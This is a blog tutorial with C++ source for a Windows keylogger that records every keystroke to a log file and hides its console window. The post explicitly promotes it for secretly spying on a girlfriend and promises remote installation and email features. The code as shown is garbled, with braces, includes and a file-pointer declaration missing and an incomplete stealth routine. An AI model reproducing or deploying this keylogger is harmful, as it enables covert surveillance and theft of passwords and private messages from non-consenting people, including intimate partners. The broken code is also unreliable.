Create a powerful Keylogger yourself in C++ (code explained) v1.0

1 comment
Stop paying huge amounts to Sniperspy or Winspy to spy on your Girlfriend. Now you can make your own Keylogger easily with C++. just follow the steps below

First, you need a compiler. I recommend Dev C++ for this. (You can also use Borland's Turbo C++, Visual C++ or anything)
Download Dev C++ from here

Now, Create a new project (File>New) and paste the following code in it

using namespace std;

int Save (int key_stroke, char *file);
void Stealth();

int main()
char i;

while (1)
for(i = 8; i <= 190; i++)
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
system ("PAUSE");
return 0;

/* *********************************** */

int Save (int key_stroke, char *file)
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;

/* *********************************** */

void Stealth()
HWND Stealth;
Stealth = FindWindowA("ConsoleWindowClass", NULL);

And compile it to make an executable .exe file. 

Explanation of Code

Here we use a Void Function named Stealth and another integer function called save in additional to int main() function (main function will execute first in all C++ apps). The stealth function is used to make the application stealth. It runs in background and invisible.
In main function, it calls Stealth function first to make the app stealth
under the if..statement, It tells the app to make a file called LOG.txt. It will be in the folder where your kelogger exists.
Then the last part- PAUSE is telling the OS to not to exit the software, stay paused

Now the save function,
It is so simple so that I think even a beginner can understand it by reading. It just compares the pressed key with various keys like Q, W, E ,....,shift, space etc. and writes it in the LOG.txt file.

Just execute the .exe file after compiling. You could see a blinking. Now it started working. Type some keys and check the LOG.txt file. VOILA!!! the pressed keys are recorded there. It keeps recording. To stop it you need to close it on the Task manager or shut down your system.

There are some minor limitations in this software. But dont worry. I will release a new version soon. It will include remote installation feature and Email feature. Enter your Email ID below to get Blog updates via Email

1 comment :